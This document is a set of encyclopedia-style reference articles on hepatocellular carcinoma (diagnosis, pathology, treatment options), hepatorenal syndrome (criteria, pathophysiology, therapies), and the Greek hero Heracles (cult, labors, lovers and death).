          Hepatocellular carcinoma (HCC) most commonly appears in a patient with chronic viral hepatitis (hepatitis B or hepatitis C, 20%) or with cirrhosis (about 80%). These patients commonly undergo surveillance with ultrasound due to the cost-effectiveness.


          In patients with a higher suspicion of HCC (such as rising alpha-fetoprotein and des-gamma carboxyprothrombin levels), the best method of diagnosis involves a CT scan of the abdomen using intravenous contrast agent and three-phase scanning (before contrast administration, immediately after contrast administration, and again after a delay) to increase the ability of the radiologist to detect small or subtle tumors. It is important to optimize the parameters of the CT examination, because the underlying liver disease that most HCC patients have can make the findings more difficult to appreciate.


          On CT, HCC can have three distinct patterns of growth:


          
            	A single large tumor


            	Multiple tumors


            	Poorly defined tumor with an infiltrative growth pattern

          


          Once imaged, diagnosis is confirmed by percutaneous biopsy and histopathologic analysis.


          The key characteristics on CT are hypervascularity in the arterial phase scans, washout or de-enhancement in the portal and delayed phase studies, a pseudocapsule and a mosaic pattern. Both calcifications and intralesional fat may be appreciated.


          CT scans use contrast agents, which are typically iodine or barium based. Some patients are allergic to one or both of these contrast agents, most often iodine. Usually the allergic reaction is manageable and not life threatening.


          An alternative to a CT imaging study would be the MRI. MRI's are more expensive and not as available because fewer facilities have MRI machines. More important MRI are just beginning to be used in tumor detection and fewer radiologists are skilled at finding tumors with MRI studies when it is used as a screening device. Mostly the radiologists are using MRIs to do a secondary study to look at an area where a tumor has already been detected. MRI's also use contrast agents. One of the best for showing details of liver tumors is very new: iron oxide nano-particles appears to give better results. The latter are absorbed by normal liver tissue, but not tumors or scar tissue.


          


          Pathology


          Macroscopically, liver cancer appears as a nodular or infiltrative tumor. The nodular type may be solitary (large mass) or multiple (when developed as a complication of cirrhosis). Tumor nodules are round to oval, grey or green (if the tumor produces bile), well circumscribed but not encapsulated. The diffuse type is poorly circumscribed and infiltrates the portal veins, or the hepatic veins (rarely).


          Microscopically, there are four architectural and cytological types (patterns) of hepatocellular carcinoma: fibrolamellar, pseudoglandular ( adenoid), pleomorphic (giant cell) and clear cell. In well differentiated forms, tumor cells resemble hepatocytes, form trabeculae, cords and nests, and may contain bile pigment in cytoplasm. In poorly differentiated forms, malignant epithelial cells are discohesive, pleomorphic, anaplastic, giant. The tumor has a scant stroma and central necrosis because of the poor vascularization.


          


          Staging and prognosis


          Important features that guide treatment include: -


          
            	size


            	spread ( stage)


            	involvement of liver vessels


            	presence of a tumor capsule


            	presence of extrahepatic metastases


            	presence of daughter nodules


            	vascularity of the tumor

          


          MRI is the best imaging method to detect the presence of a tumor capsule.


          


          Treatment


          
            	Liver transplantation to replace the liver with a cadaver liver or a live donor lobe. Historically low survival rates (20%-36%) recent improvement (61.1%; 1996-2001), likely related to adoption of Milan criteria at US transplantation centers. If the tumor disease has metastasized, the immuno-suppressant post-transplant drugs decrease the chance of survival.

          


          
            	Surgical resection to remove a tumor to treat small or slow-growing tumors if they are diagnosed early. This treatment offers the best prognosis for long-term survival but unfortunately is possible in only 10-15% of cases. Resection in cirrhotic patients carries high morbidity and mortality.

          


          
            	Percutaneous ethanol injection (PEI) well tolerated, high RR in small (< 3 cm) solitary tumors; as of 2005, no randomized trial comparing resection to percutaneous treatments; recurrence rates similar to those for postresection.

          


          
            	Transcatheter arterial chemoembolization (TACE) is usually performed in the treatment of large tumors (larger than 3 cm and less than 4 cm in diameter), most frequently by intraarterially injecting an infusion of antineoplastic agents mixed with iodized oil (such as Lipiodol). As of 2005, multiple trials show objective tumor responses and slowed tumor progression but questionable survival benefit compared to supportive care; greatest benefit seen in patients with preserved liver function, absence of vascular invasion, and smallest tumors.

          


          
            	Sealed source radiotherapy can be used to destroy the tumor from within (thus minimizing exposure to healthy tissue). TheraSphere is an FDA approved treatment which has been shown in clinical trials to increase survival rate of low-risk patients. This method uses a catheter (inserted by a radiologist) to deposit radioactive particles to the area of interest.

          


          
            	Radiofrequency ablation (RFA) uses high frequency radio-waves to ablate the tumour.

          


          
            	Intra-arterial iodine-131lipiodol administration Efficacy demonstrated in unresectable patients, those with portal vein thrombus. This treatment is also used as adjuvant therapy in resected patients (Lau at et, 1999). It is believed to raise the 3-year survival rate from 46 to 86%. This adjuvant therapy is in phase III clinical trials in Singapore and is available as a standard medical treatment to qualified patients in Hong Kong.

          


          
            	Combined PEI and TACE can be used for tumors larger than 4 cm in diameter, although some Italian groups have had success with larger tumours using TACE alone.

          


          
            	High intensity focused ultrasound (HIFU) (not to be confused with normal diagnostic ultrasound) is a new technique which uses much more powerful ultrasound to treat the tumour. Still at a very experimental stage. Most of the work has been done in China. Some early work is being done in Oxford and London in the UK.

          


          
            	Hormonal therapy Antiestrogen therapy with tamoxifen studied in several trials, mixed results across studies, but generally considered ineffective Octreotide (somatostatin analogue) showed 13-month MS v 4-month MS in untreated patients in a small randomized study; results not reproduced.

          


          
            	Adjuvant chemotherapy: No randomized trials showing benefit of neoadjuvant or adjuvant systemic therapy in HCC; single trial showed decrease in new tumors in patients receiving oral synthetic retinoid for 12 months after resection/ ablation; results not reproduced. Clinical trials have varying results.

          


          
            	Palliative: Regimens that included doxorubicin, cisplatin, fluorouracil, interferon, epirubicin, or taxol, as single agents or in combination, have not shown any survival benefit (RR, 0%-25%); a few isolated major responses allowed patients to undergo partial hepatectomy; no published results from any randomized trial of systemic chemotherapy.

          


          
            	Cryosurgery: Cryosurgery is a new technique that can destroy tumors in a variety of sites (brain, breast, kidney, prostate, liver). Cryosurgery is the destruction of abnormal tissue using sub-zero temperatures. The tumor is not removed and the destroyed cancer is left to be reabsorbed by the body. Initial results in properly selected patients with unresectable liver tumors are equivalent to those of resection. Cryosurgery involves the placement of a stainless steel probe into the centre of the tumor. Liquid nitrogen is circulated through the end of this device. The tumor and a half inch margin of normal liver are frozen to -190C for 15 minutes, which is lethal to all tissues. The area is thawed for 10 minutes and then re-frozen to -190C for another 15 minutes. After the tumor has thawed, the probe is removed, bleeding is controlled, and the procedure is complete. The patient will spend the first post-operative night in the intensive care unit and typically is discharged in 3 - 5 days. Proper selection of patients and attention to detail in performing the cryosurgical procedure are mandatory in order to achieve good results and outcomes. Frequently, cryosurgery is used in conjunction with liver resection as some of the tumors are removed while others are treated with cryosurgery. Patients may also have insertion of a hepatic intra-arterial artery catheter for post-operative chemotherapy. As with liver resection, your surgeon should have experience with cryosurgical techniques in order to provide the best treatment possible.

          


          
            	Interventional radiology

          


          Abbreviations: HCC, hepatocellular carcinoma; TACE, transarterial embolization/chemoembolization; PFS, progression-free survival; PS, performance status; HBV, hepatitis B virus; PEI, percutaneous ethanol injection; RR, response rate; MS, median survival.


          Future directions


          Current research includes the search for the genes that are disregulated in HCC, protein markers, and other predictive biomarkers. As similar research is yielding results in various other malignant diseases, it is hoped that identifying the aberrant genes and the resultant proteins could lead to the identification of pharmacological interventions for HCC.
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          Hepatorenal syndrome (HRS) refers to acute renal failure that occurs in the setting of cirrhosis or fulminant liver failure, sometimes also associated with portal hypertension, usually in the absence of other disease of the kidney. The pathology involved in the development of hepatorenal syndrome is thought to be an alteration in blood flow and blood vessel tone in the circulation that supplies the intestines (the splanchnic circulation) and the circulation that supplies the kidney. It is usually indicative of an end-stage of perfusion, or blood flow to the kidney, due to deteriorating liver function. Patients with hepatorenal syndrome are very ill, and, if untreated, the condition is usually fatal. Treatment usually involves medical therapy or TIPS as a bridge to liver transplantation. Interestingly, kidneys from patients with the hepatorenal syndrome have been used successfully for renal transplant.


          


          Definition and diagnosis


          The hepatorenal syndrome is defined as renal failure that occurs in the setting of liver disease as follows:


          


          Type I HRS


          Type I HRS is characterized by rapidly progressive renal failure with a doubling of serum creatinine to a level greater than 221 mol/L (2.5 mg/ dL) or a halving of the creatinine clearance to less than 20 mL/min over a period of less than 2 weeks. Type I HRS carries a very poor prognosis, usually with less than 50% survival at one month. Patients with type I hepatorenal syndrome are usually ill, may have low blood pressures, and may require therapy with inotropes, or intravenous drugs to maintain blood pressure.


          


          Type II HRS


          Type II HRS is characterized by a slowly progressive:


          
            	increase in serum creatinine level to greater than 133 mol/L (1.5 mg/dL) or a creatinine clearance of less than 40 mL/min


            	urine sodium < 10 meq/dl

          


          It is typically associated with ascites that is unresponsive to diuretic medications, and also carries a poor, if somewhat longer (median survival ~6 months) outlook, unless the patient undergoes liver transplantation.


          It can be challenging to distinguish hepatorenal syndrome from other entities that cause renal failure in the setting of advanced liver disease. As a result, additional major and minor criteria have been proposed to assist in the diagnosis of the hepatorenal syndrome.


          The major criteria include liver disease in the setting of portal hypertension; renal failure; the absence of shock, infection, recent treatment with medications that affect the kidney's function ( nephrotoxins), and fluid losses; the absence of sustained improvement in renal function despite treatment with 1.5 litres of intravenous normal saline; the absence of proteinuria, or protein in the urine; and, the absence of renal disease or obstruction of renal outflow as seen on ultrasound.


          The minor criteria are laboratory in nature, and include a low urine volume (less than 500 cc per day), low sodium concentration in the urine, a urine osmolality that is greater than that in the blood, the absence of red blood cells in the urine, and a serum sodium concentration of less than 130 mmol/L.


          


          Similar conditions


          Many other diseases of the kidney are associated with liver disease and must be excluded before making a diagnosis of hepatorenal syndrome. They include the following:


          
            	Pre-renal failure: Pre-renal failure usually responds to treatment with intravenous fluids, resulting in reduction in serum creatinine and the excretion of sodium.


            	Acute tubular necrosis (ATN): This can be difficult to confidently diagnose. It may be an inability to concentrate the urine, if any is being produced. The urine sediment should be bland, microscopy may show hyaline casts. ATN may recover with supportive treatment only or progress to end-stage renal failure. In cirrhosis, urinary sodium is not a reliable guide to the development of ATN, as fractional sodium excretion may stay below 1 percent, due to the gradual worsening of renal ischaemia.


            	Other causes may include glomerular disease secondary to Hepatitis B or Hepatitis C, drug toxicity (notably gentamicin) or contrast nephropathy.

          


          


          Pathophysiology


          The renal failure in hepatorenal syndrome is believed to arise from abnormalities in blood vessel tone in the splanchnic circulation (which supplies the intestines). It is known that there is an overall decreased systemic vascular resistance in hepatorenal syndrome, but that the measured femoral and renal fractions of cardiac output are respectively increased and reduced, suggesting that splanchnic vasodilation is implicated in the renal failure.


          There is activation of the renin-angiotensin-aldosterone system (RAAS) and the sympathetic nervous system, and profound vasoconstriction of the kidneys. Many vasocontrictor chemicals have been hypothesized as being involved in this pathway, including vasopressin, prostacyclin, thromboxane A2, and endotoxin.


          


          Epidemiology


          It is estimated that 39% of patients with cirrhosis and ascites will develop hepatorenal syndrome within five years of the onset of their disease. The prognosis of these patients is grim with untreated patients having an extremely short survival, and with the severity of liver disease (as evidenced by the MELD score) now believed to determine outcome. Some patients without cirrhosis develop hepatorenal syndrome, with an incidence of about 20% seen in one study of ill patients with alcoholic hepatitis.


          


          Treatment


          Because of the high mortality associated with hepatorenal syndrome, emphasis is on prevention in patients who are at risk for the condition. Strategies for avoiding hepatorenal syndrome include appropriate and non-aggressive use of diuretics, identification and early treatment of infection and hemorrhage, and avoidance of other toxins that can affect both the liver and kidney.


          The definitive treatment for hepatorenal syndrome is liver transplantation, and all other therapies can best be described as bridges to transplantation. These treatment strategies include the following:


          


          Albumin


          All major studies showing improvement in renal function in patients with hepatorenal syndrome have involved expansion of the volume of the plasma with albumin given intravenously One regimen is 1 gm albumin per kg of body weight intravenously on day one followed by 20-40 grams daily.


          


          Midodrine and octreotide


          Midodrine is an alpha-agonist and octreotide is an analogue of somatostatin. The medications are respectively systemic vasoconstrictors and inhibitors of vasodilators, and were not found to be useful when used individually in treatment of hepatorenal syndrome. However, one study of 13 patients with hepatorenal syndrome showed significant improvement when the two were used together (with midodrine given orally, octreotide given subcutaneously and both dosed according to blood pressure), with three patients surviving to discharge. A nonrandomized, observational study used "100 g subcutaneously TID, with the goal to increase the dose to 200 g subcutaneous TID" and "midodrine administration started at 5, 7.5, or 10 mg TID orally, with the goal to increase the dose to 12.5 or 15 mg if necessary" and found that "octreotide/midodrine treatment appears to improve 30-day survival".


          


          Vasopressin analogues


          The vasopressin analogue ornipressin was found in a number of studies to be useful in improvement of renal function in patients with hepatorenal syndrome, but has been limited by ischemic complications. Terlipressin is a vasopressin analogue that has been found in one study to be useful for improving renal function in patients with hepatorenal syndrome with a lesser incidence of ischemia. Neither medication is available for use in North America.


          


          Transjugular intrahepatic portosystemic shunt


          Transjugular intrahepatic portosystemic shunts (TIPS) involve decompression of the high pressures in the portal circulation by placing a small stent between a portal and hepatic vein. They have also been shown to improve renal function in patients with hepatorenal syndrome.


          


          Liver dialysis


          Liver dialysis involves extracorporeal dialysis to remove toxins from the circulation. The molecular adsorbents recirculation system (MARS) has shown some utility as a bridge to transplantation in patients with hepatorenal syndrome.


          


          Hemodialysis


          Renal replacement therapy may be required to 'bridge' the patient to liver transplantation, although the condition of the patient may dictate the modality used.


          


          Other medications


          Other agents used in treatment include pentoxifylline, acetylcysteine, and misoprostol.


          


          History


          Historically, the hepatorenal syndrome was first defined as acute renal failure that occurred in the setting of biliary surgery. The syndrome was soon associated with advanced liver disease. It was determined that kidneys transplanted from patients with hepatorenal syndrome were functional, leading to the hypothesis that hepatorenal syndrome was a systemic as opposed to renal disease.


          


          Prevention


          


          Intravenous albumin


          A randomized controlled trial found that intravenous albumin on the day of admission and on hospital day 3 can reduce renal impairment.
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          In Greek mythology, Heracles or Herakles ("glory of Hera", or "Glorious through Hera," Alcides or Alcaeus (original name) "Ἥ + έ, Ἡῆ)" was a divine hero, the son of Zeus and Alcmene, nephew of Amphitryon and great-grandson (and half-brother) of Perseus. He was the greatest of the Greek heroes, a paragon of masculinity, the ancestor of royal clans who claimed to be Heracleidae and a champion of the Olympian order against chthonic monsters. In Rome and the modern West, he is known as Hercules, with whom the later Roman Emperors, in particular Commodus and Maximian, often identified themselves. The Romans adopted the Greek version of his life and works essentially unchanged, but added anecdotal detail of their own, some of it linking the hero with the geography of the Central Mediterranean. Details of his cult were adapted to Rome as well.


          Extraordinary strength, courage, ingenuity, and sexual prowess with both males and females were among his characteristic attributes. Although he was not as clever as the likes of Odysseus or Nestor, Heracles used his wits on several occasions when his strength did not suffice, such as when laboring for the king Augeas of Elis, wrestling the giant Antaeus, or tricking Atlas into taking the sky back onto his shoulders. Together with Hermes he was the patron and protector of gymnasia and palaestrae. His iconographic attributes are the lion skin and the club. These qualities did not prevent him from being regarded as a playful figure who used games to relax from his labors and played a great deal with children. By conquering dangerous archaic forces he is said to have "made the world safe for mankind" and to be its benefactor. Heracles was an extremely passionate and emotional individual, capable of doing both great deeds for his friends (such as wrestling with Thanatos on behalf of Prince Admetus, who had regaled Heracles with his hospitality, or restoring his friend Tyndareus to the throne of Sparta after he was overthrown) and being a terrible enemy who would wreak horrible vengeance on those who crossed him, as Augeas, Neleus and Laomedon all found out to their cost.


          


          Origin and character


          Many popular stories were told of his life, the most famous being The Twelve labors of Heracles; Alexandrian poets of the Hellenistic age drew his mythology into a high poetic and tragic atmosphere. His figure, which initially drew on Near Eastern motifs such as the lion-fight, was known everywhere: his Etruscan equivalent was Hercle, a son of Tinia and Uni.


          Heracles was the greatest of Hellenic chthonic heroes, but unlike other Greek heroes, no tomb was identified as his. Heracles was both hero and god, as Pindar says heroes theos; at the same festival sacrifice was made to him, first as a hero, with a chthonic libation, and then as a god, upon an altar: thus he embodies the closest Greek approach to a " demi-god". The core of the story of Heracles has been identified by Walter Burkert as originating in Neolithic hunter culture and traditions of shamanistic crossings into the netherworld.


          


          Hero or god?


          Heracles' role as a culture hero, whose death could be a subject of mythic telling (see below), was accepted into the Olympian Pantheon during Classical times. This created an awkwardness in the encounter with Odysseus in the episode of Odyssey XI, called the Nekuia, where Odysseus encounters Heracles in Hades:
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            	And next I caught a glimpse of powerful Heracles


            	His ghost I mean: the man himself delights


            	in the grand feasts of the deathless gods on high...


            	Around him cries of the dead rang out like cries of birds


            	scattering left and right in horror as on he came like night..."

          


          Ancient critics were aware of the problem of the aside that interrupts the vivid and complete description, in which Heracles recognizes Odysseus and hails him, and modern critics find very good reasons for denying that the verses beginning, in Fagles' translation His ghost I mean... were part of the original composition: "once people knew of Heracles' admission to Olympus," they would not tolerate his presence in the underworld," remarks Friedrich Solmsen, noting that the interpolated verses represent a compromise between conflicting representations of Heracles.


          


          Christian dating


          In Christian circles a Euhemerist reading of the widespread Heracles/Hercules cult was attributed to a historical figure who had been offered cult status after his death. Thus Eusebius, Preparation of the Gospel (10.12), reported that Clement could offer historical dates for Hercules as a king in Argos: "from the reign of Hercules in Argos to the deification of Hercules himself and of Asclepius there are comprised thirty-eight years, according to Apollodorus the chronicler: and from that point to the deification of Castor and Pollux fifty-three years: and somewhere about this time was the capture of Troy."


          Readers with a literalist bent, following Clement's reasoning, have asserted from this remark that, since Heracles ruled over Tiryns in Argos at the same time that Eurystheus ruled over Mycenae, and since at about this time Linus was Heracles' teacher, one can conclude, based on Jerome's datein his universal history, his Chronicongiven to Linus' notoriety in teaching Heracles in 1264 BCE, that Heracles' death and detification occurred 38 years later, in approximately 1226 BCE.


          


          Cult of Heracles


          The ancient Greeks celebrated the festival of the Herakleia, which commemorated the death of Heracles, on the second day of the month of Metageitnion (which would fall in late July or early August). What is believed to be an Egyptian Temple of Heracles in the Bahariya Oasis dates to 21 BCE.


          


          Myths of Heracles
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          A major factor in the well-known tragedies surrounding Heracles is the hatred that the goddess Hera, wife of Zeus, had for him. A full account of Heracles must render it clear why Heracles was so tormented by Hera, when there are many illegitimate offspring sired by Zeus. Heracles was the fruit of the affair Zeus had with the mortal woman Alcmene. Zeus made love to her after disguising himself as her husband, Amphitryon, home early from war (Amphitryon did return later the same night, and Alcmene became pregnant with his son at the same time, a case of superfecundation, where a woman carries twins sired by different fathers). Thus, Heracles' very existence proved at least one of Zeus' many illicit affairs, and Hera often conspired against Zeus' mortal offspring, as revenge for her husband's infidelities. His twin mortal brother, son of Amphitryon was Iphicles, father of Heracles' charioteer Iolaus.


          

          On the night the twins sharing the same mother were to be born, Hera, knowing of her husband Zeus' adultery, persuaded Zeus to swear an oath that the child born that night to a member of the House of Perseus would be High King. Once the oath was sworn, Hera hurried to Alcmene's dwelling and slowed the birth by forcing Ilithyia, goddess of childbirth, to sit crosslegged with her clothing tied in knots, thereby causing Heracles to be trapped in the womb. Meanwhile, Hera caused Eurystheus to be born prematurely, making him High King in place of Heracles. She would have permanently delayed Heracles' birth had she not been fooled by Galanthis, Alcmene's servant, who lied to Ilithyia, saying that Alcmene had already delivered the baby. Upon hearing this, she jumped in surprise, untying the knots and inadvertently allowing Alcmene to give birth.


          The child was originally given the name Alcides by his parents; it was only later that he became known as Heracles. He was renamed Heracles in an unsuccessful attempt to mollify Hera. A few months after he was born, Hera sent two serpents to kill him as he lay in his cot. Heracles throttled a snake in each hand and was found by his nurse playing with their limp bodies as if they were child's toys.


          


          Youth


          After killing his music tutor Linus with a lyre, he was sent to tend cattle on a mountain by his foster father Amphitryon. Here, according to an allegorical parable, "The Choice of Heracles", invented by the sophist Prodicus (ca. 400 BCE), he was visited by two nymphs - Pleasure and Virtue - who offered him a choice between a pleasant and easy life or a severe but glorious life: he chose the latter. One of Heracles' challenges was put to him by King Thespius of Thespiae who wished him to kill the Lion of Cithaeron. As a reward, the king offered him the chance to impregnate each of his 50 daughters. Accordingly, Heracles did this in one night (sometimes referred to as his 13th Labour).


          Later in Thebes, Heracles married King Creon's daughter, Megara. In a fit of madness, induced by Hera, Heracles killed his children by Megara. After his madness had been cured with hellebore by Antikyreus, the founder of Antikyra, he realized what he had done and fled to the Oracle of Delphi. Unbeknownst to him, the Oracle was guided by Hera. He was directed to serve King Eurystheus for 12 years and perform any task which he required, resulting in the Twelve Labors of Heracles.


          


          The Labors of Heracles
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          Driven mad by Hera, Heracles slew his own children. To expiate the crime, Heracles was required to carry out ten labors set by his arch-enemy, Eurystheus, who had become king in Heracles' place. Heracles accomplished these tasks, but Eurystheus claimed that the cleansing of the Augean stables and the killing of the Lernaean Hydra were not done by himself, and therefore set two further tasks, which Heracles performed successfully, thus bringing the total number of tasks up to twelve.


          Not all writers gave the labors in the same order. Apollodorus (2.5.1-2.5.12) gives the following order:


          
            	To kill the Nemean Lion.


            	To destroy the Lernaean Hydra.


            	To capture the Ceryneian Hind.


            	To capture the Erymanthian Boar.


            	To clean the Augean Stables.


            	To kill the Stymphalian Birds.


            	To capture the Cretan Bull.


            	To round up the Mares of Diomedes.


            	To steal the Girdle of Hippolyte.


            	To herd the Cattle of Geryon.


            	To fetch the Apples of Hesperides.


            	To capture Cerberus.
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          Further adventures


          After completing these tasks, Heracles joined the Argonauts in a search for the Golden Fleece. They rescued heroines, conquered Troy, and helped the gods fight against the Gigantes. He also fell in love with Princess Iole of Oechalia. King Eurytus of Oechalia promised his daughter, Iole, to whoever could beat his sons in an archery contest. Heracles won but Eurytus abandoned his promise. Heracles' advances were spurned by the king and his sons, except for one - Iole's brother Iphitus. Heracles killed the king and his sonsexcluding Iphitusand abducted Iole. Iphitus became Heracles' best friend. But once again, Hera drove Heracles mad and he threw Iphitus over the city wall to his death. Once again, Heracles purified himself through three years of servitude - this time to Queen Omphale of Lydia.


          


          Omphale


          Omphale was a queen or princess of Lydia. As penalty for a murder, Heracles was her slave. He was forced to do women's work and wear women's clothes, while she wore the skin of the Nemean Lion and carried his olive-wood club. After some time, Omphale freed Heracles and married him. Some sources mention a son born to them who is variously named. For further details, see Omphale. It was at that time that the cercopes, mischievous wood spirits, stole Heracles' weapons. He punished them by tying them to a stick with their faces pointing downward.


          


          Hylas


          While walking through the wilderness, Heracles was set upon by the Dryopians. He killed their king, Theiodamas, and the others gave up and offered him Prince Hylas. He took the youth on as his weapons bearer and beloved. Years later, Heracles and Hylas joined the crew of the Argo. As Argonauts, they only participated in part of the journey. In Mysia, Hylas was kidnapped by a nymph. Heracles, heartbroken, searched for a long time but Hylas had fallen in love with the nymphs and never showed up again. In other versions, he simply drowned. Either way, the Argo set sail without them. Additional Notes: In the cult motion picture, Jason & The Argonauts, Hylas is killed, crushed by the bronze giant Talos as he falls dead. Also, there is reference made to a custom of the local people of the area, whereby every year they would pretend to search for Hylas, calling his name.


          


          Rescue of Prometheus


          According to accounts in Hesiod's Theogony and Aeschylus' Prometheus Unbound Heracles shot and killed the eagle that had been torturing Prometheus who suffered Zeus' punishment for stealing fire from Olympians and giving it along with other knowhow to mortals. Heracles freed the titan from his chains and his torments. Prometheus then made predictions regarding further deeds of Heracles.


          


          Laomedon of Troy


          Before the Trojan War, Poseidon sent a sea monster to attack Troy. The story is related in several digressions in the Iliad (7.451-453, 20.145-148, 21.442-457) and is also found in Apollodorus' Bibliotheke (2.5.9). Laomedon planned on sacrificing his daughter Hesione to Poseidon in the hope of appeasing him. Heracles happened to arrive (along with Telamon and Oicles) and agreed to kill the monster if Laomedon would give him the horses received from Zeus as compensation for Zeus' kidnapping Ganymede. Laomedon agreed. Heracles killed the monster, but Laomedon went back on his word. Accordingly, in a later expedition, Heracles and his followers attacked Troy and sacked it. Then they slew all Laomedon's sons present there save Podarces, who was renamed Priam, who saved his own life by giving Heracles a golden veil Hesione had made. Telamon took Hesione as a war prize; they were married and had a son, Teucer.


          


          Other adventures


          
            	Heracles defeated the Bebryces (ruled by King Mygdon) and gave their land to Prince Lycus of Mysia, son of Dascylus.


            	He killed the robber Termerus.


            	Heracles visited Evander with Antor, who then stayed in Italy.


            	Heracles killed King Amyntor of the Dolopes for not allowing him into his kingdom. He also killed King Emathion of Arabia.


            	Heracles killed Lityerses after beating him in a contest of harvesting.


            	Heracles killed Poriclymenus at Pylos.


            	Heracles founded the city Tarentum (modern: Taranto) in Italy.


            	Heracles learned music from Linus (and Eumolpus), but killed him after Linus corrected his mistakes. He learned how to wrestle from Autolycus. He killed the famous boxer Eryx of Sicily in a match.


            	Heracles was an Argonaut. He killed Alastor and his brothers.


            	When Hippocoon overthrew his brother, Tyndareus, as King of Sparta, Heracles reinstated the rightful ruler and killed Hippocoon and his sons.


            	Heracles slew the giants Cycnus, Porphyrion and Mimas. The expedition against Cycnus, in which Iolaus accompanied Heracles, is the ostensible theme of a short epic attributed to Hesiod, The Shield of Heracles.


            	Heracles killed Antaeus the giant who was immortal while touching the earth, by picking him up and holding him in the air while strangling him.


            	Heracles went to war with Augeias after he denied him a promised reward for clearing his stables. Augeias remained undefeated due to the skill of his two generals, the Molionides, and after Heracles fell ill, his army was badly beaten. Later, however, he was able to ambush and kill the Molionides, and thus march into Elis, sack it, and kill Augeias and his sons.


            	Heracles visited the house of Admetus on the day Admetus' wife, Alcestis, had agreed to die in his place. By hiding beside the grave of Alcestis, Heracles was able to surprise Death when he came to collect her, and by squeezing him tight until he relented, was able to persuade Death to return Alcestis to her husband.


            	Heracles challenged wine god Dionysus to a drinking contest and lost, resulting in his joining the Thiasus for a period.


            	Heracles also appears in Aristophanes' The Frogs, in which Dionysus seeks out the hero to find a way to the underworld. Heracles is greatly amused by Dionysus' appearance and jokingly offers several ways to commit suicide before finally offering his knowledge of how to get to there.

          


          


          Marriage, liaisons and death


          Heracles had numerous liaisons with women as well as with boys. Some of the former were linked with later dynasties which claimed descent from his offspring, collectively referred to as the Heracleidae.


          


          Heracles' women


          During the course of his life, Heracles married four times. His first marriage was to Megara, whose children he murdered in a fit of madness. Apollodoros ( Bibliotheke) recounts that Megara was unharmed and given in marriage to Iolaus, while in Euripides' version Heracles shot Megara too.


          His second wife was Omphale, the Lydian queen or princess to whom he was delivered as a slave.


          His third marriage was to Deianira, for whom he had to fight the river god Achelous. (Upon Achelous' death, Heracles removed one of his horns and gave it to some nymphs who turned it into the cornucopia.) Soon after they wed, Heracles and Deianira had to cross a river, and a centaur named Nessus offered to help Deianira across but then attempted to rape her. Enraged, Heracles shot the centaur from the opposite shore with a poisoned arrow (tipped with the Lernaean Hydra's blood) and killed him. As he lay dying, Nessus plotted revenge and told Deianira to gather up his blood and spilled semen and, if she ever wanted to prevent Heracles from having affairs with other women, she should apply them to his vestments. Nessus knew that his blood had become tainted by the poisonous blood of the Hydra, and would burn through the skin of anyone it touched.
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          Later, when Deianira suspected that Heracles was fond of Iole, she soaked a shirt of his in the mixture. Heracles' servant, Lichas, brought him the shirt and he put it on. Instantly he was in agony, the cloth burning into him. As he tried to remove it, the flesh ripped from his bones. Heracles chose a voluntary death, asking that a pyre be built for him to end his suffering. After death the gods transformed him into an immortal, or alternatively, the fire burned away the mortal part of the demi-god, so that only the god remained. Because his mortal parts had been incinerated, he could now become a full god and join his father and the other Olympians on Mount Olympus. He then married Hebe.


          Another episode of his female affairs that stands out was his stay at the palace of King Thespios, who encouraged Heracles to make love to his daughters, all fifty of them, in one night. They all got pregnant and all bore sons. Many of the kings of ancient Greece traced their lines to one or another of these, notably the kings of Sparta and Macedon.


          


          Heracles' eromenoi
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          As symbol of masculinity and warriorship, Heracles also had a number of pederastic male beloveds. Plutarch, in his Eroticos, maintains that Heracles' eromenoi (male lovers) were beyond counting. Of these, the one most closely linked to Heracles is the Theban Iolaus. Their story, an initiatory myth thought to be of ancient origin, contains many of the elements of the Greek pederastic apprenticeship in which the older warrior is the educator and the younger his helper in battle. Thus, Iolaus is Heracles' charioteer and squire. In a notable testament to the closeness between the two heroes, Iolaus is also Heracles' symbomos, (altar-sharer). Unlike all other heroes and gods, each of whom had his or her own altar, sacrifices to either hero could be offered at one and the same altar.


          Also in keeping with the initiatory pattern of the relationship, Heracles in the end gave his pupil a wife, symbolizing his entry into adulthood. Iolaus's ritual functions paralleled his relationship with Heracles. He was a patron of male lovePlutarch reports that down to his own time, male couples would go to Iolaus's tomb in Thebes to swear an oath of loyalty to the hero and to each otherand he presided over initiations in the historical era, such as the one at Agyrion in central Sicily. The tomb of Iolaus is also mentioned by Pindar.


          One of Heracles' best-known love affairs, and one frequently represented in ancient as well as modern art, is the one with Hylas. Though it is of more recent vintage (dated to the third century) than that with Iolaus, it too exemplifies in detail the normal cycle of a youth's initiatory process, consisting of education through service to a warrior, including sexual relations, and concluding with promotion to adult status and marriage.


          Sparta, as a warrior city where pederastic pedagogyostensibly of a chaste naturewas enshrined in the laws given by Lycurgus, the legendary legislator, also provided Heracles with an eromenos Elacatas, who was honored there with a sanctuary and yearly games. The myth of their love is an ancient one. Abdera's eponymous hero, Abderus, was another of Heracles' beloveds. In what is considered to be initiatory myth, he was said to have been entrusted withand slain bythe carnivorous mares of Thracian Diomedes. Heracles founded the city of Abdera in Thrace in his memory, where he was honored with athletic games. The topos of death in such stories is thought to symbolize the passage from one stage of life to another.


          Among the lesser-known myths is that of Iphitus. Heracles' subsequent murder of Iphitus is held to be evocative of an initiatory ritual. Another such story is the one of his love for Nireus, who was "the most beautiful man who came beneath Ilion" (Iliad, 673). Ptolemy adds that certain authors made Nireus out to be a son of Heracles, a fact thought to authenticate this tradition. The last in this categorydespite the fact that Greek literature preserves no mention of this roleis the story of Philoctetes. He is also heir to the heroand thus surely his discipleand is the one who lights his pyre. Later he is the initiator of Neoptolemus, son of Achilles.


          There is also a series of lovers who are either later inventions or purely literary conceits. Among these are Admetus, who assisted in the hunt for the Calydonian Boar; Adonis; Corythus; and Nestor, who was said to have been loved for his wisdom. His role as eromenos was perhaps to explain why he was the only son of Neleus to be spared by the hero.


          


          Heracles' children


          Telephus is the son of Heracles and Auge. Hyllus is the son of Heracles and Deianeira or Melite. The sons of Heracles and Hebe are Alexiares and Anicetus. There is also, in some versions, reference to an episode where Heracles met and impregnated a half-serpentine woman, known as Echidna; her children, known as the Dracontidae, were the ancestors of the House of Cadmus.


          


          Death of Heracles


          This is described in Ovid's Metamorphoses Book IX. Having wrestled and defeated Achelous, god of the Acheloos river, Heracles takes Deianeira as his wife. Travelling to Tiryns, a centaur, Nessus, offers to help Deianeira across a fast flowing river while Heracles swims it. However, Nessus is true to the archetype of the mischievous centaur and tries to steal Deianara away while Heracles is still in the water. Angry, Heracles shoots him with his arrows dipped in the poisonous blood of the Lernaean Hydra. Thinking of revenge, Nessus gives Deianara his blood-soaked tunic before he dies, telling her it will "excite the love of her husband".


